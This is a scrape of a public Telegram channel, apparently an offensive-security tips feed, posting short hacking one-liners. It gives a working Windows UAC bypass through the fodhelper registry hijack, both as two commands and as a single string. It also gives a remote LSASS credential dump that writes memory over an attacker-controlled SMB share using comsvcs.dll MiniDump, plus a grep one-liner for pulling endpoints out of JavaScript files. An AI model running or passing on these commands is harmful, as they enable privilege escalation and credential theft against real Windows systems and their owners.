hackspace – Telegram
hackspace
158 subscribers
279 photos
76 videos
24 files
1K links
hackspace
Download Telegram
UAC bypass in 2 lines:


New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force

New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force

cmd -> fodhelper

PoC||GTFO
Get #Admin #rights #windows10, 1 string
powershell:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force;New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force;fodhelper
Extract all endpoints from a JS File with this oneliner:)

cat files.txt | grep -aoP "(?<=(\"|\'|))\/[a-zA-Z0-9?&=\/-#.](?=(\"|\'|))" | sort -u | tee output.txt
Remote LSASS dump without touching local disk? Yes :)
On target run:
1) net use x: \\smbserver_under_your_control\c$\
2) powershell -c rundll32.exe C:\windows\System32\comsvcs.dll MiniDump (Get-Process lsass).id x:\lassdump.bin full
🤣
This media is not supported in your browser
VIEW IN TELEGRAM
Our latest blog post explores vulnerabilities and possible Apple copyright violations in Cellebrite's software:

"Exploiting vulnerabilities in Cellebrite UFED and Physical Analyzer from an app's perspective"

-signal